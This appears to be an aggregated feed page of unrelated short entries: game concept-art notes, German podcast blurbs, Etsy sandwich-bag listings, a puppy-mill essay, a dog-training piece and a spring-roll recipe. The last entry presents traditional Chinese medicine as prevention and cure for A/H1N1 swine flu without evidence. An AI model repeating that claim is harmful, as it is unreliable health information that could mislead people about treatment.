    And here are a bunch of quick conceptual sketches for a variety of enemy units. My thinking with these was to push the anatomically inspired biomechanical feel of the War Machine into something more twisted and deformed. The various shattered AI remnants of humanity are at perpetual war with themselves, and create these machines to wage their battles. Attack types and methods of movement and combat are drawn from the broken and disjointed totality of human knowledge that's contained in the AIs, from militaristic science to the animal kingdom. Robot zombies if you will!




    Check out the Square Enix Collective War Machine page and put in a vote!
              War Machine!        
    Here's one of the fun freelance jobs I've been working on lately, meet the War Machine! This is the initial design for the player character for 'World War Machine', a game in early pre-production, be sure to check out the pitch page.

    The basic idea is that after a future cataclysm there is perpetual war between the shattered remnants of humanity, in the form of these war machines. I wanted to explore this idea through robotics design that has a biomechanical feel, and shows hints of the lost humanity that created them. Milled metal forms take on bone and cellular structural forms, ribbon cables connecting componentry mimic nerves and vascular systems. Kind of like an anatomically inspired skinned robot. Lots of fun to develop! Big thanks to Jeff and the team at Tuque Games for letting me try something different! I'll post some more images from this project soon.
              So nutzt du Wartezeiten produktiver        

    Früher habe ich Wartezeiten und Schlangen gehasst. Ich versuche, meine Zeit gut zu nutzen - denn sie kommt ja nie wieder :-) -, und Wartezeiten waren für mich einfach unnötiger Zeitverlust.

    Inzwischen liebe ich solche Wartezeiten zwar nicht gerade, aber ich weiß jetzt, wie ich sie gut nutzen kann.

    Jeden Tag entstehen kleine Lücken im Ablauf, die wir häufig ungenutzt verstreichen lassen. Natürlich geht es weder darum, aus jeder Sekunde auch noch das letzte Quäntchen Produktivität zu pressen oder zu funktionieren wie Maschinen.

    Anstatt sich aber über die Lücke zu ärgern, kann man das Beste daraus machen.

    In diesem Artikel gebe ich dir ein paar Ideen, was du mit kurzen Wartezeiten anfangen kannst und weshalb wir es nicht übertreiben sollten mit der Optimierung der Zeit.

    Es geht hier nicht darum, jede Minute effizient und produktiv wie Maschinen zu sein. Doch wie oft jammern wir, wir hätten keine Zeit und lassen gleichzeitig diese Lücken ungenutzt verstreichen?

    Die Shownotes findest du unter https://ivanblatter.com/wartezeiten-produktiver-nutzen/


              #052: Backup-Strategie: So schützen Sie sich vor Datenverlust        
    Backup-Strategie: So schützen Sie sich vor Datenverlust

    © Depositphotos.com / andrewgenn

    Nicht nur im geschäftlichen Umfeld sind Backups absolut notwendig – hier sind sie existentiell. Sie haben aber bestimmt auch privat viele Daten gespeichert, deren Verlust Ihnen weh täte.

    So oder so: Ohne Backup gehen Sie ein Risiko ein, das Sie eigentlich nicht tragen können und möchten.

    Was ich bei meinem Backups (Plural!) beachte und wie ich vorgehe, erzähle ich Ihnen in dieser Folge.

    Backup-Strategie: So schützen Sie sich vor Datenverlust

    Hier ein paar Links zu den Dingen, die ich erwähne:

    Weiterempfehlen

    Hat Ihnen diese Folge gefallen? Dann empfehlen Sie den Podcast doch weiter. Damit unterstützen Sie gleichzeitig mich und meine Arbeit.

    Besonders hilfreich sind positive Bewertungen bei iTunes. Klicken Sie gleich weiter unten auf den iTunes-Link und schenken Sie mir ein paar Sterne. Vielen Dank!

    Den Podcast abonnieren

    In meinem Podcast “einfach produktiv” geht es jede Woche darum, Ihr Zeitmanagement zu verbessern. Sie können meinen Podcast abonnieren. Sobald eine neue Folge erscheint, erhalten Sie sie so automatisch:


              #026: 10 Wege, Zeit zu verlieren, und was Sie dagegen tun können.        

    Wir sind keine Maschinen. Wir verlieren jeden Tag Zeit.

    Das ist nicht grundsätzlich schlimm - sondern normal. **Aber es wird zu einem echten Problem, wer wir ständig und viel zu viel Zeit verlieren.** Denn dann bleiben wir weit unter unseren Möglichkeiten.

    Hier sind die 10 besten Wege, Zeit zu verlieren, und was Sie dagegen tun können.

    ### Weiterempfehlen

    Hat Ihnen diese Folge gefallen? **Dann empfehlen Sie den Podcast doch weiter. Damit unterstützen Sie gleichzeitig mich und meine Arbeit.**

    Besonders hilfreich sind positive Bewertungen bei iTunes. Klicken Sie gleich weiter unten auf den iTunes-Link und schenken Sie mir ein paar Sterne. Vielen Dank!

    ### Den Podcast abonnieren

    In meinem Podcast "einfach produktiv" geht es alle zwei Wochen darum, Ihr Zeitmanagement zu verbessern. Sie können meinen Podcast abonnieren. Sobald eine neue Folge erscheint, erhalten Sie sie so automatisch:

    - Abonnieren Sie den Podcast in iTunes: https://itunes.apple.com/ch/podcast/blatternet-zeitmanagement/id593822191

    - Abonnieren Sie den RSS-Feed des Podcasts: http://blatternet.libsyn.com/rss

    - Abonnieren Sie den Newsletter von blatternet.de: http://www.blatternet.de/listen/newsletter/

    Die Seite zu dieser Podcast-Folge finden Sie hier: http://www.blatternet.de/026


              One Day Introduction to Reflexology Class – November 2017        
    Join us this weekend for a 1-day Introduction into a very powerful microsystem within Asian Medicine–Asian Medicine Reflexology. Asian Medical Reflexology is one of the hidden treasures of all of the tools of Asian Medicine. This form of medical reflexology focuses on one of the Microsystems of traditional Chinese medicine. Based on the meridian system […]
              Do You Need Someone to Call You Out on Your Bullshit?        

    It’s very easy to get trapped in your own bullshit. Our minds can often be our own worst enemy. We fill up our heads with lies, excuses, pessimism, negativity, and erroneous thinking. And we use these as weapons to rationalize … Continue reading

    The post Do You Need Someone to Call You Out on Your Bullshit? appeared first on The Emotion Machine.


              The Power of Anticipation: Why We All Need Something to Look Forward To        

    We all need something to look forward to in life. In fact, a healthy sense of “anticipation” can often help energize our lives, and even help us get through tough times. While living in the present is a very beneficial … Continue reading

    The post The Power of Anticipation: Why We All Need Something to Look Forward To appeared first on The Emotion Machine.


              How to Use Technology as a Mirror, Not a Screen        

    Since the times of ancient Greece, philosophers, religious leaders and authors have strongly believed that self-knowledge was the key to human potential. They have posed questions you most likely remember studying in your freshman year philosophy class: what makes us … Continue reading

    The post How to Use Technology as a Mirror, Not a Screen appeared first on The Emotion Machine.


              How to Comfort Someone Who Is Hurting        

    Opportunities to Comfort Are All Around Us Life is not easy. We all experience pain, disappointment, and loss. One of the great joys of friendship, and the great satisfactions of life, is to be able to comfort a friend or … Continue reading

    The post How to Comfort Someone Who Is Hurting appeared first on The Emotion Machine.


              The Power of a Neutral Mind: How to Keep a Stoic Focus Whether You’re Winning or Losing        

    A neutral mind can be even better than a positive mind, especially when you’re trying to achieve your goals. Of course, it should go without saying that trying to be positive all of the time is not only unrealistic, but … Continue reading

    The post The Power of a Neutral Mind: How to Keep a Stoic Focus Whether You’re Winning or Losing appeared first on The Emotion Machine.


              By: Margret Holland        
    I absolutely love traditional Chinese cooking but find it difficult to locate reliably good recipes in English. A Chinese friend of mine introduced me to your site several years ago. I was disappointed at that time to see so few recipes were in English. I thank you so much for making the extra effort to translate your fabulous recipes. It is very much appreciated. Warmly Margret
              Comment on Dear QRG… Am I A Misogynist? #DearQRG by Ginkgo        
    "I was trying to show how the feminist argument functions structurally by embodying that structure myself. " That got right past me; thanks for helping me out. " I’m fully aware it can be endlessly reversed, albeit more often than not in the same language-terms of ‘privilege’ and ‘power’. " "Topping from the bottom' for example. Good observations and now I see what you were saying. Good point about how the narrative reinforce passivity and the hyperagency/hypoagency dyad. "Perhaps Christabel did her working-class compatriot a favour by giving him his white feather: she validating his sacrifice by underwriting his actions with a cost. Why an ‘oppression’? Why not a social exchange?" Madam is witty today. I can think of some "social exchanges" she could have offered him that would have been a lot less oppressive than exposing him to chemical weapons and machine gun fire. "she validating his sacrifice by underwriting his actions with a cost." This is gold, pointing out the silliness of a man counting a woman's approval worth more than his life.
              Comment on Dear QRG… Am I A Misogynist? #DearQRG by Ginkgo        
    "It becomes misogyny only when you start allowing this reaction to colour your view of all women – as if all women were represented by this narrative." Absolutely. White woman =/= women "Men know how damaging they can be to women and women know it’s in their interests to deter men, by stealth, appearance, manipulation and such. " This is a Western perception, specifically Anglophone. This narrative erases how damaging women can be period, but especially to men. Victims of female rapists, whether male or female, find out real fast just how entrenched this perception is. Narratives around male disposability and male utility (to women) complete the picture as facilitating mythology. This perception of female innocuousness is largely culturally conditioned. It does not operate in China in the slightest: http://honeybadgerbrigade.com/2015/04/22/if-women-ran-the-world-and-the-chinese-answer-to-the-princess-culture/ " In a way, an underlying awareness of this lack might well be what underpins the success of the feminist narrative." Cultural gynocentrism in Anglo culture is a better explanation, because every supposed disability you list pertains to all cultures and yet do not uniformly promote a feminist narrative. (And by the way, being penetrated rather than penetrating as some kind disadvantage? Really? Normally I have to crawl around on homophobic religious right sites to find that kind of characterization of bottoming.) This is how you can have a situation where a privileged social parasite like Christabel Pankhurst gets away with, hell is encouraged to, give white feathers to working class boys and shame them into enlisting to fight in a war she would never, ever even be asked to serve in. In this case her femininity was considered to have wiped out all her privilege and no one thought she was punching down at all.
               A conexão e o silêncio ou Desconectar para Conectar         


              Pretend Cake Decorating Set by NiftyKidstuff        

    Sold

    Decorate this adorable 10" tiered cake yourself with the two sets of trims, 4 roses, and birthday candle which attach with velcro and are included in this set. Made of quality wool blend felt this set will hold up to lots of play especially since everything is hand or machine sewn(nothing glued!). And of course its packaged in the pretty 10" square box with a ribbon on top. Whether just for display or for a child's pretend tea party it's sure to please. (Goes great with my pretend tea set too!)
    Please allow two weeks for this item to be custom made for you!

    A Nifty Kidstuff original design for ages 2 and up, hand wash, air dry


              Managing Metal Processing for Machinery Maker        
    McConnel uses Lantek Expert sheet-metal processing software to design and build agricultural machinery at its factory in Ludlow, England.

    read more


              New Compact Machine for Plasma and Oxy-Fuel Cutting        
    ESAB Cutting Systems introduced SGX as a compact, automated cutting machine for plasma and oxy-fuel cutting in an affordable package.

    read more


              Machine Cuts Pipe, Squares, Tubes, and Plates Too        
    The HGG Multi-Profile Cutting machine is a cost-effective and flexible option for manufacturers with production volumes that do not justify dedicated machines for profiling pipe alone.

    read more


               Multi-Profile Cutting Machine        
    The MPC is a pipe cutting and profiling machine that can be configured to cut other profile shapes as well.

    read more


              Reusable Sandwich Snack Bag Hot Wheels Car Sack by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags.

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth. You can choose either a snack or sandwich bag or both! You can also choose the amount you would like.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich And Or Snack Bag Moose Tee Pee Bear Arrow Sandwich Woodland Bag by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags and as many bags as you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich And Or Snack Bag The Big Dig Dump Truck Crane Sandwich Snack Bag by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags and as many bags as you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich and Snack Bag Set Hedgehog Meadow Eco Friendly by sacksavers        

    12.50 USD

    This eco-friendly reusable sandwich and snack bag set is made with 100% high quality cotton. They are lined with a water and stain resistant nylon. They have a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich and Snack Bag You Choose Size Floral Yellow Polka Dot Eco Friendly by sacksavers        

    6.25 USD

    I dug in my stash of vintage fabrics to make the cute floral bag. It goes nicely with the yellow polka dot by Riley Blake.

    These eco-friendly reusable sandwich and snack bags are made with 100% high quality cotton. They are lined with a water and stain resistant nylon called ripstop. They have a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!

    You get to choose as many bags as you like in the fabrics you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich Bag Space Girl Boy Eco Friendly Reusable Sack by sacksavers        

    7.00 USD

    This eco-friendly reusable sandwich bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!

    It measures 7 by 7 inches. It can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich And Or Snack Bag Grey Deer Antlers Eco Friendly Sandwich Snack Bag by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags and as many bags as you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich Bag Reusable Snack Bag Strawberry Eco Friendly Bag by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags and as many as you want!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich And Or Snack Bag Blue Arrow Eco Friendly Sandwich Snack Bag by sacksavers        

    6.25 USD

    This eco-friendly reusable bag is made with 100% high quality cotton. It is lined with a water and stain resistant nylon. It has a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!
    You can choose between either a sandwich or snack bag. You can also purchase both bags and as many bags as you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              Reusable Sandwich and/or Snack Bags You Choose Fabric Apples Polka Dots Yellow Flowers by sacksavers        

    6.50 USD

    These eco-friendly reusable sandwich and snack bags are made with 100% high quality cotton. They are lined with a water and stain resistant nylon called ripstop. They have a velcro closure. I use a generous strip of velcro keeping your items in the bag and fresh!

    You get to choose as many bags as you like in the fabrics you like!

    The sandwich bag measures 7 by 7 inches and the snack bag measures 6 1/2 inches by 4 1/4 inches. They can be washed in the washing machine and lined dried or you can also wipe out with a damp cloth.

    All of my bags are made in my pet and smoke free home.

    Please note that most of my bags are made after ordered so fabric placement may vary just a bit.
    Also, I do not recommend using the bags for long term food storage. I also recommend using a insulated lunch bag as it helps with freshness.

    I love custom orders and have over a hundred different fabric choices. Just send me a convo if you are interested in a custom order.

    Thanks for stopping by!


              +++ Universum +++ - Astronomen erforschen Uralt-Supernova - und finden mysteriösen Calcium-Stern        
    Sie ist die älteste dokumentierte Supernova in der Geschichte der Menschheit - im Jahr 185 vor Christus bemerkten chinesische Astronomen einen Stern nahe Alpha Centauri. Jahrtausende später fragten sich Forscher immer noch, was das Himmelsereignis ausgelöst hat. Ein Forscherteam glaubt jetzt, die Antwort gefunden zu haben.
              How To Train Your Dog        
    How to train your dog? This is a hard task! The only consolation is that it’s not as hard as raising kids.

    Imagine that you no longer have to step on dog poop all of a sudden or have your dog occupy your couch. Dogs may be a little rough around the edges when you start dog training But when they get dog training, a small amount of dog problems will be lifted off your shoulders.

    Proper dog training will need a little effort from you as well. As the saying goes, “you get out what you put in”. The more effective you are at dog training, the better attitude your dog will have. Here are some tips that will make the dog training work well.

    If you live with a family or lots of other people, chances are there will be one person with most of the burden of dog training. This person might be the one who bought the dog or the person who got forced to do the dog training. It is suggestible though to make kids do dog training. This is because kids have a higher pitched voice and are more animated making dogs react more. A child doing dog training will also make the dog feel less abused or imposed on because of their size.

    Having the right attitude when you are dog training will also be helpful. Don’t think of dog training as a chore, because if you do you will feel bored. Naturally when you feel bored, you and your dog will not enjoy. Prevent it from happening, because when it does happen you will be spending less time dog training. Try to enjoy and have fun, that’s what your relationship with the dog should be anyway.
    If you are tired or cranky, do dog training at a later time. Relax first. If you do dog training when you are tired, you will only become more irritated when things don’t go right. When the dog is having trouble with something new; try to go back to something the dog has already mastered. This will make the dog feel not so bad.

    Don’t give up immediately when things are not going your way. Just think about the dog learning something from a different language. If you are learning how to read a book in Chinese, you’ll also have a hard time right?

    If you’re at the point of giving up, just think about the benefits of all things once you have achieved proper dog training.

    © Michael Colucci 2006
              Prisoners for Profit - The Shame of Puppy Mills        
    It was summer when I visited puppy mills in Lancaster County, Pennsylvania. In the last few years, the area has become a hub for large scale commercial dog breeding operations. And although the Midwest still ranks as containing the highest number of dog breeding operations, the concentration of puppy mills in Lancaster County is unparalleled.

    Accompanying me was a Humane Society of the United States investigator who had monitored the Pennsylvania mills for years. He knew the county well, and had seen not only the proliferation of puppy mills in the area, but at the same time, the increased press and public attention in their operations.

    Driving through the pastoral landscape, it seemed impossible that animal suffering could exist amidst such beauty. This illusion was quickly shattered with my first view of a puppy mill. For years, I had seen and studied photos of infamous facilities, but nothing prepared me for seeing the real thing with my own eyes.
    We approached a farmhouse from the road and turned onto a muddy lane. Rounding the corner, we didn't even have to get out of the truck to see or hear what awaited us. Rows of dilapidated cages were lined up outside a barn. Stopping the truck, my throat constricted with shock. Dogs were crammed three or more to a small cage which were elevated over mounds of feces. Matted fur covered their eyes as they rushed towards the front of their cages, barking at uninvited visitors. Their plight was so dramatically different than the dogs I knew, the dogs who lie lazily in afternoon sun, waiting for their next meal or walk. No, these dogs were here for a purpose and only one purpose: to make money.

    We saw many mills that day. Posing as buyers, we were able to handle and examine some of the puppies. Many seemed sickly, disoriented, and underweight. And when we were allowed to see their mothers, or sneaked onto a farm to view the conditions, the hopelessness of their lives weighed on me like a heavy load that rests on my shoulders even to this day.

    Dogs hold a special place in our hearts. Domesticated thousands of years ago, they were chosen to be our protectors, companions, and best friends. And although we have betrayed our responsibility towards them in many ways, none is so distressing or disturbing as the puppy mill.

    The term "puppy mill," coined in the mid-to-late sixties to describe large scale commercial dog breeding facilities, has only recently arrived in the mainstream vernacular. It is a term that some claim is sensational and manipulative. The word "mill" refers to an operation that churns out dogs in mass, using female dogs as nothing more than breeding machines. The term conjures images of dogs crowded in wire cages, living in their own wastes, shivering from the cold, or baking in the heat. Tragically, this vision is not far from reality. Most people, not just those interested in animal protection, are shocked when confronted with the bleak images of dogs housed and bred in puppy mills. But in the 5,000 puppy mills found across the country, thousands of dogs are bred and raised for profit, valued not for their companionship or loyalty, but for the cold hard cash they bring.

    Many consumers possess an image of puppies at a family farm, lovingly raised and cared for. Others may not even think about where a pet store puppy comes from. Drawn to a pet store window by a bin of wriggling puppies, the furthest thing from a customer's mind is the origin of these cute bundles of fur. But by buying a puppy, often for a price of $500 or more, the consumer is unknowingly supporting a cycle of abuse that begins at the puppy mill.

    What the consumer can't see is the puppy's mother, imprisoned miles away, pregnant again, her body being used to produce more money-making puppies. Starting at six months, she is bred every heat cycle. She is often weak, malnourished, and dehydrated. Rarely, if ever, is she provided with veterinary care. She cannot maintain her productivity past her fourth or fifth year. After that, she is nothing more than a drain on the mill's operation and must be disposed of. If she's lucky, she'll be humanely euthanized. More often than not, she will be shot or bludgeoned to death. Discarded, her wasted body will lie forgotten in a local landfill or garbage dump.

    This is the picture the pet stores will never show. And until recently, the ugly truth of puppy mills has been hidden. But when problems with many of the puppies bought at pet stores across the country began to surface, consumers and animal lovers alike began asking hard questions. Puppies with seizures, parasites, infections, bacteria, and behavioral problems were being seen far too often to be merely coincidental.
    Puppy mills and the pet store industry have begun to feel this scrutiny. They insist that it doesn't make good business sense to sell sick puppies or house breeding females in less than humane conditions. But evidence gained after years of documentation and investigation directly conflicts with these assertions. In addition, those small scale breeders who do treat their animals humanely, who raise them in their homes or in small, cleanly kept kennels, do not usually make a profit off their dogs. It is virtually impossible to breed in a humane fashion and make money at the same time. Although a pet store may sell a puppy for $500 or more dollars, most commercial breeders can only get around $35 per dog from a broker who in turns sells to the pet store for around $75. In order to make a profit and cover costs, corners must be cut, and puppies must be churned out at a furious rate. The cut corners are the animals themselves: their housing, their health, their cleanliness. Inherent in the profit-making mills is the sacrifice of humane standards in order to make a profit.
    What protection, if any, do these dogs and their puppies have? On the state level, puppy "lemon laws," existing in a handful of states including New Jersey and California, seek to offer consumers protection against buying sick puppies. Although these laws do chip away at the production of sick puppies, they do not address the inherent problem of the whole system: the selling of dogs for profit.

    The federal level offers even less hope. The current system not only allows the continuation of a business that makes money off the backs of dogs, but fails in its responsibility to provide even a basic quality of life for dogs in puppy mills. Originally passed in 1966, the federal Animal Welfare Act was amended in 1970 to include in its provisions the oversight of large scale commercial dog breeding facilities. Regulations were written with the intention of ensuring the proper care, feeding, housing, and veterinary care for the thousands of dogs found in puppy mills across the country. Mandated by law to enforce these regulations is the United States Department of Agriculture (USDA). But with a shortage of inspectors responsible for overseeing these facilities, the agency has developed a reputation for failing to meet its mandate.
    Not only have outsiders criticized the agency's ability to enforce the Act in relation to puppy mills, but several internal reviews have also illustrated the gross inadequacies existing at the federal level. Recently, a damning internal review conducted by the USDA's own office of the Inspector General of the agency's South Central Regional Office offered a bleak picture. The South Central Office, responsible for overseeing the majority of this country's puppy mills, was found to be sorely lacking in its ability to enforce the Animal Welfare Act. The report found that the office failed to respond to complaints from the public, failed to report a large number of blatant violations of the law, and that supervisors told inspectors not only where and when to inspect, but instructed their staff not to write up too many violations of problematic facilities. USDA Secretary Dan Glickman, embarrassed by the report's finding, has demanded the development of an internal plan to respond to the crisis within the agency.

    The USDA is also feeling the heat over the puppy mill issue from members of Congress. After receiving constituent mail on puppy mills, Congressman Glenn Poshard (D-Il) and Senator Rick Santorum (R-PA), sprung to action. Working with The Humane Society of the United States and other animal protection organizations, they gathered over 100 signatures from members on both side of Capitol Hill in a letter to Secretary Glickman expressing concern about the problems found in puppy mills across the country. Sent late last summer, the letter has caused anxiety within the USDA.

    This Spring, the agency will consider enacting stronger regulations covering puppy mills as well as examining ways in which their enforcement powers can be increased. Although any change in the way puppy mills are regulated is an improvement, and stiffer rules may even shut down or discourage potential operators from opening a facility, the changes will not directly eliminate the mills themselves. Until the demand for mass-produced pet store puppies decreases, there will always be a buck to be made in the production of dogs.

    Rachel A. Lamb is Director for Companion Animal Care at The Humane Society of the United States (HSUS) in Washington, DC.

    Dog Training
              Chinese airline debuts uniforms during Paris Couture Week        
    Fashion designer Laurence Xu is re-injecting fashion back into the fuselage with his sleek capsule collection.
              Rolinho primavera de banana com chocolate        

    Você já ouviu falar do rolinho primavera de banana com chocolate? Essa sobremesa, diferente e saborosa, tem conquistado o paladar de muitas pessoas. Leia a matéria e aprenda o passo a passo da receita.

    O rolinho primavera é uma iguaria de origem chinesa, mas que faz sucesso no mundo todo. Trata-se de um salgadinho com massa de farinha bem fina, recheado com vegetais picados, carne ou camarão. Com o passar nos anos, a receita ganhou novas adaptações. Os brasileiros, por exemplo, tiveram a brilhante ideia de criar o rolinho primavera recheado com banana e chocolate.

    [caption id="attachment_5103" align="alignnone" width="600"]Rolinho primavera pode ser doce sim! Conheça essa receita. (Foto: Divulgação) Rolinho primavera pode ser doce sim! Conheça essa receita. (Foto: Divulgação)[/caption]

    Receita de Rolinho primavera de banana com chocolate

    O rolinho primavera de banana com chocolate tem uma massa parecida com a do pastel, afinal, é bem crocante, fina e leve. O grande destaque, no entanto, é o recheio doce, que combina o sabor adocicado de uma fruta tropical com chocolate meio amargo. Essa sobremesa não dá trabalho e qualquer cozinheiro iniciante pode se arriscar.

    Separamos uma receita de rolinho primavera de banana com chocolate. Confira:

    Como fazer rolinho primavera

    Rolinho primavera de banana com chocolate 3

    1. Em uma tigela funda, coloque a farinha de trigo, a água gelada e o sal. Misture bem todos os ingredientes, tomando cuidado para não empelotar. O resultado será uma massa homogênea e mole.
    2. Leve a massa à geladeira e deixe descansar por 30 minutos.
    3. Providencie uma frigideira grande e antiaderente. Esquente-a.
    4. Em seguida, coloque uma camada de massa bem fina dentro da frigideira, com o auxílio de um pincel.
    5. A massa seca bem rápido, portanto, tome cuidado para ela não queimar. Repita o mesmo processo até a massa do rolinho chegar ao fim.
    6. A montagem é bem simples: descasque e corte cada banana pela metade. Em seguida, coloque essa metade dentro da massa, juntamente com um pedaço de chocolate meio amargo. Enrole, formando uma trouxinha.
    7. Esquente bem o óleo e frite os rolinhos, tomando cuidado para não encharcar.
    8. Pronto! Agora é só passar os rolinhos no açúcar e servir.

    Dicas: Rolinho primavera como fazer

    Rolinho primavera de banana com chocolate 1

    • Se você achar a massa do bolinho primavera muito difícil de preparar, então compre um rolo de massa de pastel e use no preparo. O seu trabalho na cozinha será bem menor e não tem o risco de errar o ponto.
    • Realce o sabor da banana e torne o recheio mais apetitoso acrescentando um pouco de canela em pó.

    E aí? Você está pronto para fazer o rolinho primavera de banana com chocolate em casa? Deixe um comentário falando o que achou dessa receita. O rendimento é de 12 porções e o tempo de preparo não passa de meia hora. Bom apetite!

    Receita do Dia agradece pela sua visita.

    O post Rolinho primavera de banana com chocolate apareceu primeiro em Receita do Dia.


              Westinghouse Recognizes Czech Moravian-Silesian Region Fundamental to Temelin AP1000® Reactor Success        

    Westinghouse recognizes Czech Moravian-Silesian region fundamental to Temelin AP1000® reactor success; identifies 28 local companies with the potential to supply the project, including companies within the Vítkovice Machinery Group; unveils successful fabrication of demonstration module section of AP1000 plant; warns further interruptions in the Temelín tender will undermine and postpone socio-economic benefits to region and the Czech Republic.

    (PRWeb March 26, 2014)

    Read the full story at http://www.prweb.com/releases/2014/03/prweb11705193.htm


              â€œTechnology and Learning by Factory Workers: The Stretch-Out at Lowell, 1842,” J. Bessen (2003)        
    This is a wonderful piece of theory-driven economic history. Everyone knows that machinery in the Industrial Revolution was “de-skilling”, replacing craft workers with rote machine work. Bessen suggests, using data from mid-19th century mills in New England, that this may not be the case; capital is expensive and sloppy work can cause it to be […]
              Brain box: Multitasking chips that can match the human mind        
    An electrical component once thought impossible is delivering machine minds that can think on their own
              Hacking a US electronic voting booth takes less than 90 minutes        
    At security conference DEF CON hackers proved it is possible to manipulate votes on the same voting machines used in US elections in the time it takes to watch a movie
              Hand Therapy Massage        
    Special Recommend information on A H1N1 (swine flu)
    As it is known to all, currently we human being are all faced with a big enemy-A/H1N1 flu (swine flu) which has been threatening our life. Now the situation is worsening. As health and medical to AH1N1organ, we shoulder more responsibility to handle outbreak of this emergency.

    In TCM, A/H1N1 belongs to epidemic febrile disease of TCM which is the same as human avian influenza and SARS and similar to A/H1N1 flu syndrome differentiation and treatment of TCM prevention and cure. It is advocated “dispelling wind, reducing fever and dissipating dampness in clinical.

